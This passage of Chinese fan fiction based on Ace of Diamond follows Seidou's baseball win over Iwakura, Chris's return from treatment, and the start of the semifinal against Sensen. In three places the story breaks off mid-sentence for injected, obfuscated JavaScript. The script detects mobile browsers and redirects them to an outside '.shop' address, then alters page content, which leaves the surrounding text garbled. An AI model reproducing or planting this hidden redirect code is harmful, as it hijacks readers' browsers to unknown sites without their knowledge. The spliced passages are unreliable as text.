御幸瞥了一眼打者严阵以待的样子,嘴角咧出一个不怀好意的笑容。 ‘这里就是要一球定音,向大家宣布你的到来吧,京。’御幸注视着投手丘上的白鸟,张开手套,心脏随着期待咚咚作响。 白鸟扔下手中的粉包,手握棒球于手套内调整了片刻,食指与中指跨越了棒球马蹄形的缝线顶部。 他缓缓抬腿,整个身体随着力量的积蓄宛如一张拉满的弓,腿落地的瞬间,身体的核心迅速旋转,拧紧的腰腹爆发出巨大的推动力,带动肩膀如鞭般甩出,电光火石之间,棒球离手的刹那,食指逆时针用力捻压! 巨大的惯性将他的身体猛得向前一带,但经过无数训练打底的身体只半步就稳住了重心,白鸟抬眸追逐那颗疾驰的棒球,如他所想,打者甚至没来得及挥棒,棒球就没入了捕手的手套,发出一声巨响。 御幸用发麻的手按住手套里乱窜的小球,眼中氤氲出一抹亮得吓人的金色,炯炯有神地望着投手丘上的白鸟:就是这样,就是这样的投球!真是的害我也跟着兴奋起来了。 场中一静,随着计分板上代表球速的数字出现,瞬间如掉入油锅般沸腾起来。 “1、149KM/S!真的假的,我的眼睛没花吧?场上那个是高一的选手吧???” 有人不敢相信自己看见的景象,着急忙慌得向着身边的人求证。 有人立刻举起相机拍下这注定会引起热议的一幕。 板凳席内,片冈监督嘴角上扬了一点点弧度。 太田部长有点想笑又有点担忧:“果然还是小孩子,迫不及待就要展现自己。” 市大三高的来打探情报的人扶额:“原来是火球投手啊……要做针对性训练了啊。” 什、什么,对面是和我一样的高中生吗?骗人的吧!岩仓的一棒完全傻眼了,御幸可不会放过这样的机会,果断用两颗145KM/S左右的直球三振了对方。 回到板凳席,岩仓的一棒沮丧道:“……抱歉监督。” 监督心里叹了口气:“不怪你,谁初次面对这么快的球都不可能打出去的,不过看样子他们并不会每球都飚球速,我们还是有机会的。” “是!监督!” 说是这么说,岩仓的监督还不了解他的球员们吗?但凡白鸟能够正常发挥,他们岩仓能赢的几率少之又少,可棒球本就是无法预测的运动,他绝不会就这样放弃! 白鸟可不知道岩仓的监督在想什么,稳定地三振了岩仓接下来的两个棒次,6球都在145KM/S左右起伏。 “刚刚第一球是昙花一现?” “屁的昙花一现,人家是告诉你我能投得更高,但是你们的实力不需要我全力以赴,明白了吗?” 观众议论纷纷,白鸟凭借着开场的一球,一下子成了话题的中心,大部分人都在讨论他的实力层次,也有一部分人对着大屏幕上的脸赞叹起来。 “真是个标志的小伙子,长得有我当年的风范!” “好帅啊!!!白发金眼又特别又好看!” “捕手也好帅!那个防风镜……呀!这对池面投捕真是太造福我的眼睛了。” 青道板凳席的大家自然听见了这不加掩饰的讨论,纷纷沉默。 仓持额角爆出一个井字,这两个家伙简直风头出尽。 所以当投捕二人组回到板凳席,迎接的不是欢呼雀跃,而是几张冒着黑气的怨念脸庞,也是不是不能理解吧? 御幸无语:“这些家伙又怎么了?” 村田摘下帽子,用袖子擦了下额头的汗:“我大概能猜到,呵呵。” 伊佐敷从后面拍了下白鸟的背,走进板凳席:“干得好!” 岩仓高校的先发投手也是他们的王牌,说实话青道对于这个王牌搜集到的情报不多,不像那些出名的学校影像资料很多,岩仓作为新崛起的学校没什么名气。 青道只让人收集了上一轮的比赛的资料,但岩仓并没有让王牌在上一场比赛上场投球,看样子正是为了温存实力以应对青道,他们能做出这样的安排,想必对自己的实力还是很自信的。 此刻,“自信”的岩仓高校板凳席,气氛凝重。 监督拍拍自己寄予厚望的王牌:“交给你了,三河。” 三河点点头,深呼吸了了几下,他明白在白鸟开局如此惊艳的情况下,他的表现几乎就已经决定了岩仓接下来的一切。 “一局下半,青道高中攻击。一棒,游击手,村田君。” 村田拿着球棒站在左打席,探究地盯着投手丘上的岩仓王牌投手,让我看看,你能投出什么样的球吧。 青道可是公认的强打王国,虽近些年没进过甲子园,但他们的打线依旧全国有名,面对如此打线三河实在压力山大。 就在这样的紧张之下,三河投出了第一球。 村田迅速向后退了一步躲开往他身上撞的棒球,大约140KM/S左右的速度,第一球是明显偏离好球带的坏球,看来这个投手很紧张啊。 “Ball!” 不行啊,冷静冷静……三河又深呼吸了几下,在捕手担忧的眼神中点点头示意自己调整好了。 出乎意料的,三河竟真的调整回了状态,球数来到了两好球两坏球。 “怎么回事啊村田那小子,这种软绵绵的球赶紧打出去啊!”东清国不满地嘟囔。 小凑蹲在打击准备区若有所思。 村田那是有苦说不出,左投对左打本就有优势,岩仓这个王牌投手还真的有两把刷子,投出的球坏球就不说了,好球虽速度普通但是尾劲意外的强劲,还总是紧贴边线让人难以出手。 “一出局!”岩仓的捕手竖起一根手指向着投手丘上的三河声援道。 村田和小凑擦肩而过时低声道:“这个投手喜欢投边线球,他的球尾劲不错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704784|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心。” 小凑点点头。 看着场内的情况,御幸挑眉:“我还以为那个投手开局承受不住压力要崩溃了,没想到还是撑下来了。” 第一球差点触身,真是怪吓人的。 “身为王牌投手,肯定是有点东西的。”仓持有些紧张道。 白鸟不语,这个投手的坏球率还挺高,投球像是有神鬼二象性一样,要么就是让人难以出手的边线好球,要么就是偏离好球带起码一颗半球距离的坏球。 小凑也是左打,他的选球眼光非常好,奈何三河面对他时竟全部投外角球,吃准了他因为手臂条件天生受限对于外角球会很难处理。 虽小凑硬是捞出去几个界外球,但很快就被追逼了。 这对投捕用一个刁钻的内角球结束了这一打席。 三河面露喜色,看来研究的战术还是有用的。 等三棒伊佐敷击出一个高飞球而被接杀,这种喜悦就更加强烈了,岩仓高校的队员心中萌发了新的希望,如果就这么下去似乎真的有可能。 然后白鸟就用快速的三个三振轻松击碎了他们的希望。 于是还没等三河休息多久,又攻守换防了。 岩仓的四棒严肃着一张脸,这样下去不行啊,如果不能得分,胜利更是无从谈起。 屋漏偏逢连夜雨。 “一记直击外野墙壁的长打,青道高中的四棒东清国撕开了岩仓的防御的一角!” “东!你最厉害了!” 伴随着青道粉丝的欢呼声,三河站在投手丘上叹了口气,他也就看垒上无人试试,没想到第一球就被打出去了。 “五棒,青道高中,一垒手,结成君。” 看着这个名声只在东清国之下的强棒,三河和捕手对了个眼神。 “这次,他们肯定不会只用直球了。”白鸟开始穿戴打者护具,他是7棒,既然东前辈上了二垒,这局他肯定要上场打击的。 御幸抱臂点头:“那也太小看我们了,而小看东前辈和结成前辈就是自寻死路。” 果然,面对结成的第一球,三河就投出了此次比赛的第一个变化球。 “卡特球!结成选手挥棒未能击中棒球!” 从外角内切向打者膝下内角的卡特球,左投的卡特球不好打,结成握紧球棒,重新摆好姿势,眼中全是惊人的集中力。 三河因变化球建功的喜悦都在这双眼睛里褪去了几分。 ‘趁着他对卡特球的印象还未消退,下一球,外角高位球!’捕手张开手套,打出暗号。 三河点点头,本着让打者挥空去的一球,最后却被打出了界外球。 投捕两人冷汗都出来了,这是差点成为本垒打的一击,他们都没想到结成完全没被卡特球迷惑,捕手咬牙,这是算准了他不会配两球卡特球吗? “加油结成,打出去!” “三河投的好!” 两边粉丝在分别为两人加油,气氛愈发火热起来。 御幸笑嘻嘻地说道:“要打赌这一打席结成学长能不能打出去吗?” “我赌能。”仓持没好气道。 白鸟点头:“我也赌能。” 御幸:“……那还赌什么,我也赌能。” 场内突然欢呼起来。 “球穿过了游击手的防线!漂亮的一击击穿内野防御的安打!” 如此,六棒加藤学长登场时,就是一三垒有人的大好局面。他摸摸帽子看向片冈监督,监督迎着他的视线点点头。 “青道取分的心很坚定啊,在打出两个界外球后,青道的六棒以一记牺牲高飞球送三垒的东君回到了本垒,青道破分!” 打高飞球也是有技术要求的,这一击又高又远让东清国有了充分的跑回本垒的时间,结成停在了二垒。 岩仓的板凳席内监督皱紧了眉头,他自然知道,青道这种强打遍地的队伍,最不能做的就是让他们串联起打线,他果断向着三河打了几个暗号。 白鸟站上打击区,手中球棒点了点本垒板。 边线好球和卡特球,还有什么样的投球,通通让我看看吧。白鸟嘴角扬起些微的弧度。 岩仓的捕手惊疑不定地看着白鸟脸上浅淡的笑意,投手的打击能力一般都不如何,虽然青道没有将其排在九棒,但七棒依旧是下位打线,应该不足为惧才对。 但是…… 三河有点惊讶,但依旧点头同意了,有跑者在垒上他也压力很大,加上监督的指示,这里用这个方式不失为一个办法。 白鸟正期待着等待着想要的球,却见这对投捕一球坏球,一球卡特球,再三球坏球,直接四坏保送了白鸟。 “哦?这是控球失误,还是战术?”观众见此提起了兴趣。 八棒御幸见着一二垒有人正该是自己拿下甜头得分的时机,三河却突然在投球时用出了新的变化球——滑球。 虽然最后被判定为坏球,但无疑让御幸一时有些难以出手。 34.回归 卡特球还是滑球,御幸额角沁出一点汗,这个捕手的配球很“实用”,从开局起就没什么让人出乎意料的地方,所以这个滑球大概率是用来迷惑我的。 御幸确实猜对了,后续捕手没再配滑球,但却用一颗曲球、一颗卡特球、一颗直球三振了他。 “哇哦,岩仓的王牌火力全开,这是完全不想再失一分啊!”解说激情四射,他就喜欢这种有看点的局。 太田部长汗都下来了:“卡特球、滑球、曲球,这个投手会的变化球意外的多啊。” 高岛礼并不担心:“岩仓的这个王牌投球能力不错,但如果能提前收集到资料不至于前面打的如此艰难,现在需要给出时间让他们观察适应。” 让御幸出局后,九棒坂井也未能打出安打,第二局青道收获1分,留下两个残垒结束了。 因这一分的分差,岩仓高校的打者急切得想要赶紧得分,起码掰平比分,奈何投手丘上的白鸟完全找不到破绽,只凭借均速145KM/S左右的控球就压得他们喘不过气。 岩仓监督的眼睛落在白鸟和御幸身上,哪怕身为对手也忍不住赞叹,他作为职业选手退役,自然清楚的明白这对投捕的天赋。 很多人只看见了投手,但若是没有那个捕手狡猾的配球,投手也不可能单单只靠直球就压得他们喘不过来气。 那个捕手的接球声干净利落,手上动作与蹲姿都很稳定。如果说投手是箭矢,捕手就是搭载箭矢的弓,两者相辅相成。 都是了不得的选手啊,真难相信两者都才高一。 监督已经预料到了这一场比赛的结果。 无法取分,如何能获得胜利呢? 期间,岩仓的四棒从白鸟手中击出一支安打,可惜后续的打者无法跟进,最终只留下了一个残垒。 第四局,已经底牌尽出的三河终究没能挡住青道的第二轮中心打线,丢了3分被换下了场,他的滑球才刚学没多久,只是个迷惑项,曲球也不太稳定,被青道看穿后就没什么作用了。 可惜后面被换上场的投手能做的也十分有限,他们的换投战术太吃投手的状态,面对全国级的打线,终究缺了几分实力。 最终白鸟第五局被换下了场,比分已经来到了0:5,上场的水谷面对已经失了心气的岩仓也没有放松的意思,这毕竟是夏甲预选赛,是他们最后一次进甲子园的机会了,在哪犯浑他都不至于在这个节骨眼上犯浑。 这场比赛,岩仓一共换了3个投手,却止不住局势向着深渊滑去。 比赛结束在刺目的1:7。 岩仓的成员们哭得不能自已,以如此惨烈的分数结束了他们的夏天,三年级毕业在即,终究未能成为黑马,一睹甲子园的风采。 岩仓监督握住片冈监督的手有些感叹:“当选手和教练完全是不同的领域,是我的问题没能带给这些孩子最好的未来……” 片冈铁心也是选手出身,自然明白岩仓监督的感慨。 三河找到白鸟,脸上涕泪横流:“是……我技不如人,你真的很厉害,一定要去甲子园啊!” 白鸟接收到了这份沉重的情绪,沉默片刻,认真点头:“我会的。” 看着岩仓众人悲伤哭泣的样子,白鸟想,他绝不想要再次体会这样的情绪,也不想要这样的表情出现在他喜爱的大家脸上。 所以,绝不能输。 比赛结束后,各个学校的情报人员也陆陆续续回到了学校。 “150KM/S的四缝线直球?!”市大三高的队长兼捕手山胁提高声音,他回忆起开幕式时对白鸟的印象,那个年轻的王牌……怪不得啊。 然后就是一阵头疼,得赶紧去找监督商议一下应对方案了。 *** 预选赛在6月末7月初左右进行,所以青道高中还没到放暑假的时候,依旧是要上课的。 这也就导致比赛上课两手抓的棒球部正选们,有些人在上课时心思已经飞走了,老师们也知道这次的比赛的重要性,索性睁一只眼闭一只眼。 到了午休就餐时间,三人回到棒球部的食堂。 此时的三大碗饭,对于已经经历了不少训练的三人而言,已经不是当初那样难以下咽的程度了。 “克里斯前辈要回来了?”白鸟放下筷子赶紧咽下嘴里的饭,惊喜道。 柴崎笑着点点头:“没错,据说是因为治疗效果远超预期。” 增田看着眼珠子都在发光的御幸:“慢点别呛着,克里斯大概在半决赛之前就能回来,恢复训练大概需要到8月才能开始。” 也就说肯定赶不上这次的夏甲预选赛了,但克里斯能这么早回来,已经足够惊喜。 于是,怀着对克里斯的思念,青道一路高歌猛进,挺进了半决赛。 期间,白鸟作为王牌有时先发有时关门,丹波的上场率也逐渐增多,出于某种考虑,监督似乎在有意锻炼丹波。 半决赛的对手出现的那天,克里斯果然如约回到了青道。 他从父亲的车上下来,还没来得及拿行李,收到消息在校门口等待的队员们已经一窝蜂地围了上去。 “克里斯你终于回来了!你没事真是太好了!” 他们热情地和克里斯打招呼,更有甚者已经自觉帮忙搬运起克里斯的行李。围绕着他的人群中各个年级都有,看来这个兼具威严与亲切的同伴,在棒球部的那些日子已经完全赢得了大家的喜爱。 打开车门走下来的克里斯父亲——伊旺·罗德里凯斯无奈地看着这一幕。他还是不赞同儿子留在这个差点毁掉他的地方,但是作为一个绝对不想令儿子讨厌的父亲,他也完全无法拒绝克里斯强烈的意愿。 片冈监督此时走到了伊旺身边。 白鸟站在一边看着吵吵嚷嚷的人群,半晌转头看向身边的御幸,捕手眼中闪烁着熟悉的光芒。 克里斯前辈是他的室友,留给他叙旧的时间还有很多,此刻他自然不会和学长们争抢,但御幸…… “不去吗?” 御幸摇摇头:“不必急于一时。” 白鸟大约能明白他的顾虑是什么,也不再劝。 是夜,宿舍终于安静下来。 白鸟终于能不被干扰地对克里斯说出那句话。 “欢迎回来,克里斯前辈。” 克里斯温柔地笑笑,伸手摸了摸白鸟的头:“我不在的日子里,你成长的很快,现在已经是令大家都信任的王牌了。” “……”白鸟感受着头顶的抚摸眨眨眼,乖巧的没有动弹,“还不够。” 他看着克里斯的眼睛:“还有两场比赛。” 克里斯当然明白白鸟在指什么,他心中有些震动,没想到当初那个对青道棒球部还没有归属感的后辈在成为王牌后,已经拥有了如此觉悟。 收回手,他既欣慰又忍不住有点苦涩,他注定是赶不上这次意义非凡的战斗了。 仿佛知道克里斯在想什么,白鸟坚定地说道:“克里斯前辈,即使不站在场上,你也是我们不可或缺的力量。” 克里斯微微一怔,随即释然地笑了:“白鸟,你真的……变得不一样了。” “是好的转变吗?”白鸟也跟着笑了起来。 “当然。” *** “半决赛的对手是仙泉啊,也是老对手了。”东清国看着新鲜出炉的半决赛对战名单,他翘起嘴角,“市大三高果然和稻城实业对上了哈哈哈!” 这幸灾乐祸的笑声让村田嫌弃地看了东清国一眼,然后自己也忍不住笑了。 要知道,这臭手待遇的赛程,以前可都是青道的标配! “行了,赶紧研究研究仙泉今年的阵容吧。”增田真是没眼看,他把一张碟片放进读片机。 东清国“切”了一声:“肯定还是那些家伙呗。” “不是说他们有一个巨高的一年级投手吗?”水谷翘着凳子晃荡。 东清国摆摆手,胖胖的脸上全是不屑:“你以为谁都是白鸟啊,一年级投手能进入一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708573|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军的都是极个别,更别提成为战力了。” “也是。”水谷耸耸肩。 增田额头冒出几个井字:“你们很厉害吗?对着半决赛对手都能这么轻松了,看来我们已经是好几年甲子园连霸的队伍了是吧?” 几个高年级顿时噤若寒蝉,他们还是很怵增田的,这个看上去很像老好人的家伙,如果真的生气会很可怕,曾经经历过的人都不敢再经历一次。 于是气氛终于能变得好好观看仙泉学园的视频了。 克里斯对上增田的目光点点头,他在美国治疗的日子里,其实也在一直关注青道的状况,时长会和增田前辈交流,自然对眼前的情况并不是一无所知的。 白鸟、御幸、仓持三人坐在最后一排,将一切尽收眼底。 御幸微微松了口气,他自然也是提前研究过仙泉的,知道仙泉并不是个好相与的对手,生怕前辈们因为太过关注决赛对手而栽在半决赛上,但看来还是有清醒的人的。 白鸟仔细看着面前的记分册,结合显示器上播放的视频,低声与克里斯和御幸讨论起来。 不多时,教练们走了进来。 片冈监督站在最前面,他也不拖延,简明扼要道:“现在来宣布先发名单,后天的先发名单是……” “一棒游击手村田光,二帮二垒手小凑亮介,三棒中坚手伊佐敷纯,四棒三垒手东清国,五棒一垒手结成哲也,六棒右外野手加藤间太郎,七棒捕手御幸一也,八棒左外野手坂井一郎,九棒投手柴崎翔一。” 意料之外,情理之中的名单。 随后片冈监督对着白鸟和水谷道:“做好准备,明天可能需要你们来接替投完整局。” “是!”两人立刻应道。 “滑球、掌心球还有……螺旋球?”克里斯在笔记上写写画画,他离开时,白鸟才准备学习掌心球,没想到几个月回来后,他的武器库已经如此丰富。 “掌心球的情况怎么样了?” 牛棚里,克里斯站在御幸旁边观察着的白鸟的投球情况。此情此景仿佛回到了白鸟刚到一军的时候。 御幸露出个笑容:“很好,而且白鸟四缝线直球的最速已经到达154KM/H了。” “螺旋球的数量一定要严格控制。”克里斯真是没想到,只是几个月没见,还有这么个大惊喜等着他,和螺旋球比起来,他宁愿白鸟学习的第三个变化球是指叉球,螺旋球实在是个致命的武器,无论是对对手,还是对投手自己。 “当然。”御幸严肃地点头。 白鸟在这个话题中默默缩小自己的存在感。 克里斯观察记录着投手阵的情况,为自己康复训练后重返队伍做着准备,意识到克里斯理所当然的并未放弃拿回正捕手之位,御幸油然而生一股兴奋与紧迫感,与克里斯前辈正面竞争,这才是他当初决定来到青道的初心。 白鸟结束了今天的投球训练,见着两个捕手还有事情要讨论,便先一步离开了牛棚。 仓持虽进入了一军,但他练习的地方依旧是和前园他们的秘密基地,白鸟准备去找仓持他们再练一会儿挥棒。 路上没什么人,7月初的夏季夜晚已经能听见蝉鸣与蛙叫,白鸟正沉浸在自己的思绪里,一个人影突然从路边窜了出来,扔下了一个东西就匆匆跑进了黑暗里。 因着路灯间或的光芒,白鸟只看清了那人的背影——是个男性,发色和身高体型都很普通,他连同班同学都认不全,实在辨识不出这究竟是谁。 因为扔下的东西正在路灯间隔的黑暗中,白鸟走近几步才能看清那是一块散发着微弱金属光芒的物件。 待认出那究竟是什么,夜间的蝉鸣应和着他的情绪一下子变得刺耳,有那么一瞬间,这尖锐的嗡鸣仿佛在他的胃里响彻。 白鸟站在那儿,夜色裹挟着他的身躯,他不知在想些什么,半晌抬步,仿佛没有见过那个东西一般,离开了原地。 那沉没在黑暗中的,正是他那把丢失雨伞的一部分金属配件。 35.半决赛·仙泉战 仙泉的监督鹈饲一良是个挺有趣的监督,他似乎并不信任棒球场上所谓的意志力或灵光一现,比起那些偶然事件,他更信奉脚踏实地的努力和教练组根据资料制定的策略。 白鸟在夏甲预算赛的比赛中也算是见过了很多不同风格的队伍,监督对球队的影响毋庸置疑,那么青道又是一支怎样的队伍呢? 我想,只要待在这支队伍里的人,不会有不知道的。 “嘛……青道是个很强的队伍,但比赛嘛不比哪里知道输赢呢?”鹈饲监督摸着下巴眯着眼睛,说实话那对一年级投捕有些难缠啊,果然好的球员都接二连三跑去稻实、市大三、青道了。 随着场上的广播,半决赛即将开始,今天是青道后攻,上场的投手是柴崎翔一。 柴崎站在投手丘上投了几球,热了热手。 他活动了下肩膀,感觉状态不错,尤其是克里斯今天也来到了板凳席,这让他有些兴奋,还好没事,还好同伴还能回到这里,还能继续棒球。 “青道今天的先发是原来的王牌柴崎啊,白鸟在牛棚热身,看来今天是‘双王牌’的交替。” 虽说白鸟拿到了王牌,他的实力也有目共睹,但大部分人粉丝对于柴崎这位原来的王牌也是有着深厚感情的,戏称他两为“双王牌”。 御幸最后和投手丘上的柴崎简单交流了几句便回到了本垒板蹲下。 柴崎前辈今天的状态不错啊,白鸟一边热身一边观察着比赛场内的状况。一局上半,仙泉的打线未能建功。 “三出局!攻守交换!” “节奏很好啊!” 跟着跑回板凳席的路上,白鸟突然感受到一股刺人的视线,他微微皱眉看向仙泉的板凳席,却什么也没能发现,这也是自然,攻守交换中人影攒动,他又不是鹰眼。 一局下半青道攻击。 仙泉登场的先发是他们三年级的王牌投手如月七绪,左投,发挥的也十分不错。 第一局,两个学校收获了两个零蛋。 “呯!” “哦哦哦!仙泉五棒的一击穿透了青道内野的守备,在外野落地了!” 跑者在球飞进一垒手手套前险之又险地扑向垒包。 “Safe!” 仙泉侧的看台传来响亮的应援声。 结成看着仙泉的五棒微微皱眉,这个打者的脚程很快。 柴崎在看一垒上的跑者时,野手们纷纷大喊不要在意,他深吸一口气回头,仙泉的六棒已经站在打击区上开始调整姿势。 不错,不错。鹈饲监督摸着下巴,就是这样,要慢慢搅乱这个投手的内心,该抓住的机会都就要狠狠抓住! 一垒跑者离垒,六棒依旧是正常持棒姿势,但不排除他会突然触击。 仙泉打者的挥棒欲望都很高,从一开始就在挥大棒以压迫投手丘上的投手,虽然因此容易被三振,却也确实给了柴崎这种开局控球有时候不太稳定的投手很大的压力。 五棒朝日裕太在垒上蠢蠢欲动,他脚程很快,因此并不满足停止在一垒,离垒起码三分之一距离,他有意计算过柴崎投牵制球的速度,这个距离足够他随时盗垒或者回到一垒。 柴崎侧身时看见这个跑者的离垒距离十分难受,投了个牵制球用以警告。 ‘柴崎前辈相信我,跑者交给我来解决,这一球要足够快足够低,哪怕是坏球也没关系。’御幸比了几个暗号,然后用拳头用力砸了一下手套内部。 交给他来解决? 气氛渐渐紧绷,内野和本垒处连风都停了,六棒满头大汗,他的眼神和朝日对上,那眼神他很熟悉,某种意义上是一种无言的压迫,这确实是个好机会。 投手摆好投球姿势,朝日的脚步微微挪动,投手投出球的瞬间,他脚下一个用力如离弦之箭冲向二垒。 “盗垒!” 我就知道! 六棒迅速摆好短棒想要触击,但是这球速度相当快也相当低,砸在本垒板的地上弹射进捕手的手套。 早就做好准备的御幸迅速起身一个垫步,右手顺势拿出手套内的棒球飞速扔向二垒,在朝日惊骇的目光下,柴崎早就矮下身子,小球如一道白光穿过内野,重重砸进二垒手的手套。 小凑探出手臂,另一只脚就没有离开垒包,接到球后行云流水地转身按向朝日,朝日还想躲,奈何他完全没想到这个捕手的传球速度这么快,冲得太猛被小凑的手套结结实实地按在身上,此时他距离二垒的垒包还有一个手掌的距离。 “Out!”裁判将一切尽收眼底。 “可恶!”朝日一拳捶在地上,汗淅淅沥沥地滴落宛如下了一场小雨。 “两出局!”御幸收回手,转头和仙泉的六棒对视了一眼,他重新调整了一下面罩蹲回本垒板。 打者咬牙切齿地握着球棒,就这么看着好不容易创造出的机会转瞬消失。 “哦哦哦噢噢噢!!!” “好、好快!这个捕手的传球好快!好准!居然这都能被刺杀到。”观众席传来一阵夹杂着惊异地欢呼。 “好!这下又回到起跑线了!”太田部长在板凳席激动地攥拳挥动了一下。 白鸟看着御幸的眼睛闪闪发光,真是绝妙地防盗时机,太帅了! 因为这一神乎其神的盗垒阻杀球,六棒打者没能维持好心态,被接杀出局,仙泉的棒次没能传递下去。 “真是个优秀的捕手,本来以为克里斯伤退后有机可乘,没想到这个捕手不仅配球优秀,连肩膀也好得出奇啊。”鹈饲监督睁开眯眯眼,摸着下巴的手下意识用力,将双下巴扯出一道道沟壑。 朝日愤愤不平地摘下帽子:“就差一点,山冈你就算擦棒也好,多给我争取一秒钟,我也上垒了!” “抱歉……”山冈,也就是仙泉的六棒别过头,沮丧地道歉道。 确实是他的问题,如果他能打出去,就算他不能上垒,朝日盗垒成功也能延续下一个棒次。 “好了,好了。”鹈饲监督拍了拍手,让所有人的目光聚集在他身上,“现在继续争论已经结束的事情没有任何意义,最重要的是你们已经看见了我所说的那个破绽了吧。” “是的。”谈到这个,朝日冷静下来,“从夏甲预算赛登场中的投球内容来看,包括这几局,变速球的配比相当少。” “青道的这个前王牌投手在紧张时球路总是压不下去,变速球更是从未在垒上有人时投过,这次他相当于被捕手救了,我们的计策还是有用的,只是小瞧了那个强肩捕手。”说到这,朝日还是难免不爽地啧了一声。 鹈饲监督重新眯起眼睛:“没错,仅管那个捕手的配球很不错,但是投手投不到的话也就没用了,继续给他施压。” “盗垒谨慎一点但是该跑还是要跑。” “挥棒多往右外野。” “是!” 坐在角落的一个高个子队员定定地看着对面青道的板凳席。 “真木,你在看什么呢?” 那高个子队员回过神,慢慢摇了摇头。 *** 柴崎拍拍御幸的肩膀:“多亏你了。” 回到板凳席的御幸被一群人围住夸夸,他摸着后脑勺傻笑:“啊呀啊呀,没什么。” “这家伙尾巴要翘好久了。”仓持撇嘴,说是这么说,他也不可否认刚刚那个本垒防盗真是帅啊。 捕手的休息时间还是很珍贵的,前辈们没有围多久就散开让他修整去了,两人这才凑过去把水和毛巾一递。 御幸没觉得有什么不好意思的,一脸理所当然地接过。 仓持在旁边咋舌:“你这盗垒阻杀确实快,就算是我也不敢随便盗垒,中外野有伊佐敷前辈,本垒有你,这下仙泉那边在垒上岂不是举步维艰。” 白鸟点点头,脸上流露出笑意:“在他俩的‘保护’下投球,不得不说安全感确实挺足的。” “白鸟!那边还有水吗?” “我去拿!”白鸟提高声音应和,结束对御幸的调侃就转身去拿放在角落的水。 一只手按住了他的肩膀。 回过头,映入眼帘的是御幸淡然的笑脸。 他说:“无论你是王牌还是11号,就像现在,在你前身与身后的人都还是我和前辈们。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711229|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “京,别着急。” 我在着急?白鸟去拿了水分发给前辈们,一路事情做下来第二局下都结束了第三局开始了他都还在思考御幸的这句话。 “洋一,我看上去很着急吗?”白鸟坐在板凳席的椅子上,忍不住询问身边的仓持。 “……”仓持胳膊搭上白鸟的肩膀,“有点吧,自从拿到王牌背号后你就挺焦躁的,不过我觉得这也很正常,那可是王牌背号!” 是啊,棒球豪强的王牌背号。 寄托着荣光与压力,光与影相辅相成,有人怀揣着真诚的祝愿,自然也有人喜欢看天才跌落云端的戏码。 无论白鸟对此感到不安还是如何,仓持都能理解。 他的糟糕心情究竟被多少人看在眼里啊,白鸟感到有些羞愧,也许是事情都堆积在了一起,他焦头烂额下掩盖的太拙劣。 他无意让他人为之担心的。 2局下半青道的核心棒次未能立功,4棒东清国出棒略显急躁,第一棒就出手打出个高飞球被外野接杀,5棒结成没能选到自己想要的球,仙泉的王牌如月发挥地相当好,几个边线球将其送下场,5棒加藤打出去一击内野平飞球被守备接杀。 这么看下来,如月竟有压制青道打线的意思,但投捕本人却知道这其中的险象环生。 青道自己也知道强校的王牌投手不是那么好攻克的,所以没有沮丧的意思,只凝神等待轮到自己的下一个打席。 突然,一阵嘈杂地欢呼与应援团响亮的演奏声冲破了赛场紧张的气氛。 极目望去,仙泉的7棒正冲过本垒板,电子积分板上,一个醒目的1取代了空白出现在仙泉那一行上。 “怎么回事?!”仓持刚刚去了趟厕所,回来怎么比分就变了。 像是为了回答他的疑问,下一棒次的打者挥出球棒,白色小球伴随着清脆的击球声飞了出去。 “仙泉的2棒打出一击右外野方向的安打,这样的话青道就又是一三垒有人的大危机了。”转播电台的主播有些感慨道。 “天野先生怎么看?” 准决赛受邀而来的嘉宾,正巧是日职退役在岩仓高校担任监督的天野。 他闻言若有所思道:“上一局的盗垒虽然失败了,但是仙泉选手的攻击欲望依旧强烈。他们紧盯着柴崎选手的内角球进攻,受困于打者强烈进攻意识的影响,柴崎选手投内角直球的状态便不那么利落,而这也同时限制了他卡特球的发挥。” 再加上不知为何柴崎翔一的变速球在这一赛季出现的相当少。 一个在投手丘上束手束脚的投手,就算搭配一个战术大师捕手又有何用?仙泉作为仅次于三巨头之下的强校,打者也不是吃素的。 现在想想,不得不说这一计策狠准地切中了柴崎的命脉,仙泉的监督很厉害。 “就是这样,不过那边也应该反应过来了,可惜就算反应过来又如何。”鹈饲监督弯起嘴角。 曾经的青道王牌投手柴崎翔一,那手变速球也是很漂亮的,但在春季大赛到关东大赛中鹈饲监督敏锐地意识到其对于变速球的发挥有了浮动,投的数量逐渐减少。 而那个捕手,配球激进,内角球总在关键的时刻出现,盯着内角球进攻一举多得。 不管出了什么问题,能被他们利用的问题就是好问题。 “多得点分,早点将那个王牌逼出来。”鹈饲监督淡淡道。 “是!!!”打者们热血沸腾地看着投手丘上的投手,宛如一个个眼睛发绿的饿狼,亟待撕咬那变得虚弱的对手。 柴崎何尝不知道此刻正是危机,他站在投手丘上,万众瞩目之□□力流失的极其之快,但比起紧张,自我质疑来得更快更猛烈。 